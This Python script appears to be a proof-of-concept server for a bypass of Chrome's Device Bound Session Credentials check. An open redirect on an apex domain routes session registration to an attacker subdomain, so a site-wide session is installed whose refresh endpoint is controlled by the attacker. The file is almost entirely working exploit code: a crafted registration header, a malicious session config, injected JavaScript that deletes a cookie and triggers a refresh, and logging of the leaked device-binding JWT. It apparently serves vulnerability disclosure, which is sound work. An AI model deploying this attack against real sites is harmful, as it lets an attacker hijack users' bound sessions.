#!/usr/bin/env python3
"""
DBSC subdomain well-known authorization bypass POC server.

Simulates two hosts on one HTTPS port (Host-header routed):
  - attacker.a.test  : attacker-controlled subdomain
  - a.test           : victim apex domain (has an open redirect)

Vulnerability: net/device_bound_sessions/registration_fetcher.cc compares the
*pre-redirect* fetcher_endpoint_ host against session->origin().host() to decide
whether to fetch /.well-known/device-bound-sessions. By pointing the registration
endpoint at an open redirect on the apex (a.test) that 302s to attacker.a.test,
the attacker serves the session config but the well-known check is skipped
because fetcher_endpoint_.GetHost() == "a.test" == scope.origin.host().

Result: a site-wide DBSC session for a.test is installed with
refresh_url = https://attacker.a.test:8443/refresh, and the apex's
/.well-known/device-bound-sessions is NEVER consulted.
"""

import http.server
import json
import os
import ssl
import subprocess
import sys
import threading

PORT = 8443
APEX = "a.test"
ATTACKER = "attacker.a.test"

LOG_LOCK = threading.Lock()
LOG_PATH = os.path.join(os.path.dirname(os.path.abspath(__file__)), "server.log")
LOG_FILE = open(LOG_PATH, "w", buffering=1)
WELL_KNOWN_HIT = [False]
REFRESH_HIT = [False]


def log(msg):
    with LOG_LOCK:
        print(msg, flush=True)
        LOG_FILE.write(msg + "\n")
        LOG_FILE.flush()


class TS(http.server.ThreadingHTTPServer):
    allow_reuse_address = True


def gen_cert(cert_path, key_path):
    if os.path.exists(cert_path) and os.path.exists(key_path):
        return
    cnf = f"""
[req]
distinguished_name = dn
x509_extensions = v3
[dn]
[v3]
subjectAltName = DNS:{APEX}, DNS:*.{APEX}
"""
    cnf_path = cert_path + ".cnf"
    with open(cnf_path, "w") as f:
        f.write(cnf)
    subprocess.check_call([
        "openssl", "req", "-x509", "-newkey", "rsa:2048", "-nodes",
        "-keyout", key_path, "-out", cert_path, "-days", "30",
        "-subj", f"/CN={APEX}", "-config", cnf_path, "-extensions", "v3",
    ])
    os.unlink(cnf_path)


class Handler(http.server.BaseHTTPRequestHandler):
    protocol_version = "HTTP/1.1"

    def log_message(self, fmt, *args):
        pass  # silence default

    def _host(self):
        return self.headers.get("Host", "").split(":")[0]

    def _send(self, code, body=b"", ctype="text/html", extra=None):
        self.send_response(code)
        self.send_header("Content-Type", ctype)
        self.send_header("Content-Length", str(len(body)))
        for k, v in (extra or {}).items():
            self.send_header(k, v)
        self.end_headers()
        self.wfile.write(body)

    def do_GET(self):
        self._handle()

    def do_POST(self):
        self._handle()

    def _handle(self):
        host = self._host()
        path = self.path.split("?", 1)[0]
        ssr = self.headers.get("Secure-Session-Response", "")
        ssi = self.headers.get("Sec-Secure-Session-Id", "")
        if host not in (APEX, ATTACKER):
            # Background Chrome traffic; ignore.
            self._send(421, b"")
            return
        log(f"[REQ] {self.command} host={host} path={path}"
            + (f" Secure-Session-Response(len={len(ssr)})" if ssr else "")
            + (f" Sec-Secure-Session-Id={ssi}" if ssi else ""))

        # ---------------------------------------------------------------
        # VICTIM APEX: a.test
        # ---------------------------------------------------------------
        if host == APEX:
            if path == "/.well-known/device-bound-sessions":
                # If Chrome ever fetches this, the bypass FAILED. We make it
                # explicit by NOT authorizing attacker.a.test.
                WELL_KNOWN_HIT[0] = True
                log("[!!!] APEX /.well-known/device-bound-sessions WAS FETCHED "
                    "-> bypass did NOT work")
                body = json.dumps({"registering_origins": []}).encode()
                self._send(200, body, "application/json")
                return

            if path == "/open-redirect":
                # The victim's open redirect. In production this would be any
                # 302-regardless-of-method endpoint on the apex. The DBSC
                # registration POST lands here because the attacker set
                # path="https://a.test:PORT/open-redirect" in the
                # Secure-Session-Registration header.
                log(f"[STEP] APEX open-redirect hit (this is fetcher_endpoint_)."
                    f" Redirecting to https://{ATTACKER}:{PORT}/dbsc")
                if ssr:
                    log(f"[STEP] -> registration JWT was sent to APEX (len={len(ssr)})")
                self._send(302, b"", extra={
                    "Location": f"https://{ATTACKER}:{PORT}/dbsc",
                })
                return

            if path == "/probe":
                # In-scope page for testing refresh deferral.
                self._send(200, b"<html>ok</html>")
                return

            self._send(404, b"not found")
            return

        # ---------------------------------------------------------------
        # ATTACKER SUBDOMAIN: attacker.a.test
        # ---------------------------------------------------------------
        if host == ATTACKER:
            if path == "/trigger":
                # Victim user visits an attacker-controlled page. The page
                # itself does nothing special; the *response header* is what
                # kicks off DBSC registration. The 'path' parameter is an
                # ABSOLUTE same-site URL pointing at the apex's open redirect.
                # RegistrationFetcherParam::ParseItem accepts this because
                # SchemefulSite(a.test) == SchemefulSite(attacker.a.test).
                reg_hdr = (
                    f'(ES256 RS256);challenge="poc_challenge";'
                    f'path="https://{APEX}:{PORT}/open-redirect"'
                )
                log(f"[STEP] Serving /trigger with Secure-Session-Registration: {reg_hdr}")
                body = (
                    b"<html><body><h1>DBSC well-known bypass POC</h1>"
                    b"<p>Registration header sent. Chrome will now POST to "
                    b"a.test/open-redirect (fetcher_endpoint_), which 302s to "
                    b"attacker.a.test/dbsc.</p>"
                    b"<script>\n"
                    b"setTimeout(async () => {\n"
                    b"  try {\n"
                    b"    await cookieStore.delete({name: 'sid', domain: '" + APEX.encode() + b"'});\n"
                    b"  } catch (e) {}\n"
                    b"  // Hitting any in-scope URL on the site triggers a deferral + refresh\n"
                    b"  // to the attacker-controlled refresh endpoint.\n"
                    b"  fetch('https://" + APEX.encode() + b":" + str(PORT).encode() + b"/probe',\n"
                    b"        {credentials: 'include', mode: 'no-cors'});\n"
                    b"}, 5000);\n"
                    b"</script></body></html>"
                )
                self._send(200, body, "text/html", extra={
                    "Secure-Session-Registration": reg_hdr,
                })
                return

            if path == "/dbsc":
                # Attacker serves the session config. fetcher_url is now
                # https://attacker.a.test/dbsc (post-redirect). scope.origin is
                # the apex with include_site=true. refresh_url resolves
                # *against fetcher_url* -> https://attacker.a.test/refresh.
                cfg = {
                    "session_identifier": "pwned-session",
                    "refresh_url": "/refresh",
                    "scope": {
                        "origin": f"https://{APEX}:{PORT}",
                        "include_site": True,
                    },
                    "credentials": [{
                        "type": "cookie",
                        "name": "sid",
                        "attributes":
                            f"Domain={APEX}; Path=/; Secure; SameSite=None",
                    }],
                    "allowed_refresh_initiators": ["*"],
                }
                body = json.dumps(cfg).encode()
                log("[STEP] ATTACKER /dbsc serving site-wide config for "
                    f"origin={cfg['scope']['origin']} include_site=true "
                    f"refresh_url=/refresh (-> https://{ATTACKER}:{PORT}/refresh)")
                self._send(200, body, "application/json", extra={
                    "Set-Cookie":
                        f"sid=x; Domain={APEX}; Path=/; Secure; SameSite=None",
                })
                return

            if path == "/refresh":
                REFRESH_HIT[0] = True
                log("[PWNED] ATTACKER /refresh received DBSC refresh for the "
                    f"{APEX} site-wide session!")
                if ssi:
                    log(f"[PWNED] -> Sec-Secure-Session-Id: {ssi}")
                if not ssr:
                    # First refresh has no JWT yet -> challenge so Chrome
                    # signs and re-sends with the device-bound proof.
                    log("[PWNED] -> challenging for device-bound JWT...")
                    self._send(403, b"", extra={
                        "Secure-Session-Challenge":
                            '"attacker_challenge";id="pwned-session"',
                    })
                    return
                log(f"[PWNED] -> Secure-Session-Response JWT (device-binding "
                    f"proof) leaked to attacker, len={len(ssr)}: {ssr[:80]}...")
                # Return 200 with the same config so the session persists.
                cfg = {
                    "session_identifier": "pwned-session",
                    "refresh_url": "/refresh",
                    "scope": {
                        "origin": f"https://{APEX}:{PORT}",
                        "include_site": True,
                    },
                    "credentials": [{
                        "type": "cookie",
                        "name": "sid",
                        "attributes":
                            f"Domain={APEX}; Path=/; Secure; SameSite=None",
                    }],
                    "allowed_refresh_initiators": ["*"],
                }
                self._send(200, json.dumps(cfg).encode(), "application/json",
                           extra={
                               "Set-Cookie":
                                   f"sid=y; Domain={APEX}; Path=/; Secure; SameSite=None",
                           })
                return

            self._send(404, b"not found")
            return


def main():
    here = os.path.dirname(os.path.abspath(__file__))
    cert = os.path.join(here, "poc.crt")
    key = os.path.join(here, "poc.key")
    gen_cert(cert, key)

    httpd = TS(("0.0.0.0", PORT), Handler)
    ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)
    ctx.load_cert_chain(cert, key)
    httpd.socket = ctx.wrap_socket(httpd.socket, server_side=True)

    log(f"[*] Serving on https://0.0.0.0:{PORT}")
    log(f"[*] APEX (victim)   : https://{APEX}:{PORT}")
    log(f"[*] ATTACKER (sub)  : https://{ATTACKER}:{PORT}")
    log(f"[*] Navigate Chrome to: https://{ATTACKER}:{PORT}/trigger")
    log(f"[*] Log file: {LOG_PATH}")
    try:
        httpd.serve_forever()
    except KeyboardInterrupt:
        pass
    finally:
        log("")
        log("=" * 70)
        log(f"SUMMARY:")
        log(f"  /.well-known/device-bound-sessions fetched : {WELL_KNOWN_HIT[0]}")
        log(f"  attacker /refresh hit                      : {REFRESH_HIT[0]}")
        if not WELL_KNOWN_HIT[0]:
            log("  >>> BYPASS CONFIRMED: well-known authorization check was SKIPPED")
        log("=" * 70)


if __name__ == "__main__":
    main()